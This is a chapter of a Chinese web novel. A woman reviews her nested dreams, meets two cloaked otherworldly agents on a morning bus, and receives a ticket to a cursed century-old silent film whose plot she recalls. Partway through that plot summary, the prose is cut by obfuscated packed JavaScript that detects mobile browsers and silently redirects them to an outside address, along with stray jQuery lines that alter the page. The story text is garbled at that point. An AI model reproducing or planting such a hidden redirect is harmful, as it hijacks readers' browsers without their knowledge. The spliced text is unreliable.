19. 回到现实

作品:《淦!抽道具抽到同事了

    麦晴因为惊惧收缩的瞳孔慢慢放大,她坐在床上回味了一下自己的梦,感受到记忆的快速流失,她赶忙从床上起来,在书桌随便抽出本本子奋笔疾书,将目前还记得的场景对话全部记下来。


    洗漱好下楼等车,坐公交时,她就看着自己记录的东西反复琢磨,希望能够捋清楚逻辑,找到什么她遗落的东西。


    她应该是做了一个梦中梦,第一层梦境趋近于现实,第二层梦境更加梦幻奇异。


    第一层梦境模拟器的自主性很高,更加趋近于教学的角度,举个例子,比如可以操作的面板,可以远程摇人。另外一点,第一个梦境的地图更大,整个村落、整片山都是训练的地图,异常真实。


    第二层梦境是她被泥石流冲昏后进入的,目前未知进入的原因是随机还是必然,进入后模拟器自主性受限,她无法使用面板,也无法呼叫被她召唤出的同事们,她和外界唯一的联络被切断了。


    里梦境里她有身份,且这个身份是当地土著,她甚至有这个身份原来的记忆。如果举个不那么恰当但好懂的例子,那就是她在绑架案梦境里像身穿,在第二层里梦境里像魂穿。


    还有就是,第一层梦境里她似乎无法死了重来,当然这点因为在第一层梦境里她没死过所以存疑;而第二层梦境她自己的自主性更高,比如能死多次,比如能直接影响多人命运。


    所以目前得出疑问:如果说第一层梦境是模拟器主导,那第二层梦境应该是她自己的自主性更高,为什么会产生这样的区别?目前尚不能知晓。


    “叮铃铃铃铃”,第二个闹钟响起,这打断了麦晴脑子里纷乱繁杂的思绪。现实里的事情同样重要,手机上自带的电子日历显示今天是星期二,还有不到六天,她必须得到程旭的求婚。


    早高峰路上拥堵,公交车跟着前方拥堵的车流摇摇晃晃往前开,麦晴拉着吊环扶手闭着眼跟着一起摇晃,因为昨晚的梦,她感觉精力非常不济。


    有人开了公放在看新闻,新闻早高峰的女主播正在用清甜的嗓音播报今日新闻:


    “本市消息,昨晚化工厂附近有居民报警称,目睹绿色火光剧烈燃烧伴随大量浓烟。经本市警方及工业专家现场勘测,该绿色火情系化工厂内员工操作不当,致使化学原料泄露燃烧引发火灾。因抢救及时,火情快速控制,目前尚未出现人员伤亡。下面请听另一则新闻。。。”


    毫无新奇的新闻内容,激不起旁听者更多的兴趣。都是早起上班的人,没有多余的精力可以分散给跟自己无关的惨事,顶多心里感叹一声,这化工厂老板该要破财了。


    “嘁,外联部那群人每次给的都是这种借口,也不嫌老掉牙。”一个低沉年轻的男声在麦晴身后响起。


    “哈哈,那也百试不爽啊,你看这车上人的反应,零人在意好嘛。”另一个更跳脱清脆的男声跟着回答道。


    “哎,你别老说他们了,都是兄弟单位。”


    所以呢?你们是什么单位的?麦晴心里生出些好奇来,心中默默跟了一句,忍不住睁开眼睛透过公交车窗玻璃往后偷看。


    这一看,把她早上的瞌睡都吓醒了,


    她看过去的同时,一双绿色的眸子也正通过窗玻璃饶有兴趣地打量她,见她看过来,有些兴味的开口道,


    “咦?原来你能听得见啊。”


    是那个跳脱男生的声音。他染了一头五颜六色的头发,身上穿一身足够粉嫩的斗篷,这打扮,放在cosplay届里都算是出挑了,但是奇怪的是,车上并没有人分给他眼神。


    还有他的同伴,他的同伴听他说这些回过头来,俩人同款五色头,只不过同伴的斗篷是深紫色的,就和他的眼睛一样。


    相比那个跳脱的粉衣服,他显然更加谨慎。紫眼睛男人一只手插进斗篷,一只手将绿眼睛拉远。


    “你身上有幽冥的味道,活死人还是偷渡者?”


    麦晴就像没复习过就上考场的学渣,一下子被他问懵了,想到自己是死而复生,那就应该算是活死人吧?但总觉得这不是什么很好的名词。


    见那人不耐烦,就要抽出斗篷里的东西,麦晴脑袋一热,脱口而出自己就是个无辜路人,不知道他们在说什么,只不过天生有点阴阳眼,能看得到非自然物质罢了。


    紫眼睛用怀疑的眼神看着她,


    “阴阳眼?那你怎么连活死人是什么都不知道?你们街道的非正常人类中心居委没抓你们去扫盲吗?”


    麦晴诺诺的不敢乱说话,急的在这深秋天气一头的汗,眼见紫眼睛面露责备,还要再说些什么,


    “哎呀,算了算了,这又不是她的错,喏,这个你拿好,有空去你们那边居委登记一下。你这样野生的天目者是很危险的,被污染的概率很高啊,用你们的话说,变成神经病的概率不小。把它当成个事办,一定早点去啊小妹妹。”


    绿眼睛递给麦晴一张电影票,电影票上印的是一部一百年前黑白默片电影的缩小版宣传海报,放映地址写的是圣心电影院,时间是明天晚上十点半。


    圣心电影院。。。


    麦晴觉得这个名字非常熟悉,但是具体在哪里却死活想不起来,


    那电影票上的电影她恰好前段时间刷短视频电影解说时看过,她打开app平台,翻开浏览记录,重新找到之前看过的那个博主的电影解说视频。


    解说员把这部影片归类于最早的猎奇电影,片子不长,加上片头和结尾零零总总也不超过半个小时,电影剧情并没有r级镜头,甚至没有着重刻画人物的心理活动,只是镜头营造出来的氛围,让里面出现的所有角色都有一种非人的丧病感,非常让人掉san值。


    剧情大概讲的是一个男人得了花柳病,已经病入膏肓,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107047|195033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他四处寻医都无法医治,就在绝望之际,他的信箱里收到了一封没有署名的信。拆开信纸,有人用老式打印机在纸上打了一个医院的名字和地址,另一段话:想要治好病,速来。


    男人翻来覆去看那张纸,确实只有一个医院的名字和地址而已,他虽然没有听说过这家医院,但是抱着死马当活马医的心态,还是决定去那家医院看看。


    医院开在一个被火烧过的庄园里,他去敲庄园的铁门,只轻轻敲了三声,便有咔嗒咔嗒的声响响起,门自动往两边打开。


    庄园别墅建筑群整个外立面都有被火烧灼的痕迹,庄园的内部杂草丛生,只有一条小径,勉强还可以容一个人通过。


    男人开始怀疑,这是不是某个仇人小心眼的恶作剧。


    他犹豫了一瞬,还是决定向前走。


    通往庄园内部的内门同样非常气派,只是年久失修,木制的门扉上有虫子啃出的孔洞,大大小小密密麻麻的,就像是一层又一层叠加的摩斯密码。


    门同样自己往里打开,男人仿佛着了魔,直直走进门里,门在他身后重新关上了。


    门里同门外仿佛两个世界,门里非常热闹,有穿着同样制式服装的医生和护士,但是病人只有他一个,他们帮助他脱衣服换上医院的病人服,安排他住进单人病房。


    男人安顿好后,有医生护士推着各类奇形怪状的仪器过来给他检查,这个过程不像是为男人治病,更像是一次怪异物品展示,有一些仪器底部甚至有触须,触须还在微微抖动。


    护士拿着那些长相奇特的仪器对着屏幕,露出诡异的微笑给观众介绍仪器的用法。


    麦晴点了暂停,她回忆了一下后面的剧情,其实并没有惊悚电影后代们的那种刺激场面,没有电锯狂魔拉着电锯追人,也没有什么鬼怪抓脚,但就是让观众观看时感觉到从头到尾的诡异。


    结局是男人的病被治好了,他换回自己的衣服,带着同款诡异微笑出现在庄园的大门外。屏幕转暗,抖动的字幕显示一个月后,一辆公共马车在这个破败庄园门前停下,下来一群人鱼贯进入这个庄园,举着小旗子领头的赫然是那个男人。


    麦晴当初看的时候就觉得心里毛毛的,现在想起来更是起了一层鸡皮疙瘩,电影中那些对于医院光怪陆离的想象,和医生护士们意外而怪异的治疗方式,说实话总让人感觉写这个剧本的人多少也有点神经。


    她拿出手机搜这部电影,除了许多被人剪辑的猎奇视频外,她搜出更多的是这电影背后一个已经过去九十多年的悬案。


    这部电影的创作人员召集原出演人员在五年后准备拍摄这部电影的续集,可是离奇的是,这部电影上到演员导演,下到剧务灯光制片,所有的工作人员都离奇失踪了。到目前为止,没有一个人再见过他们。这部电影也成为了第一部禁片,惊悚片的鼻祖,声名大噪。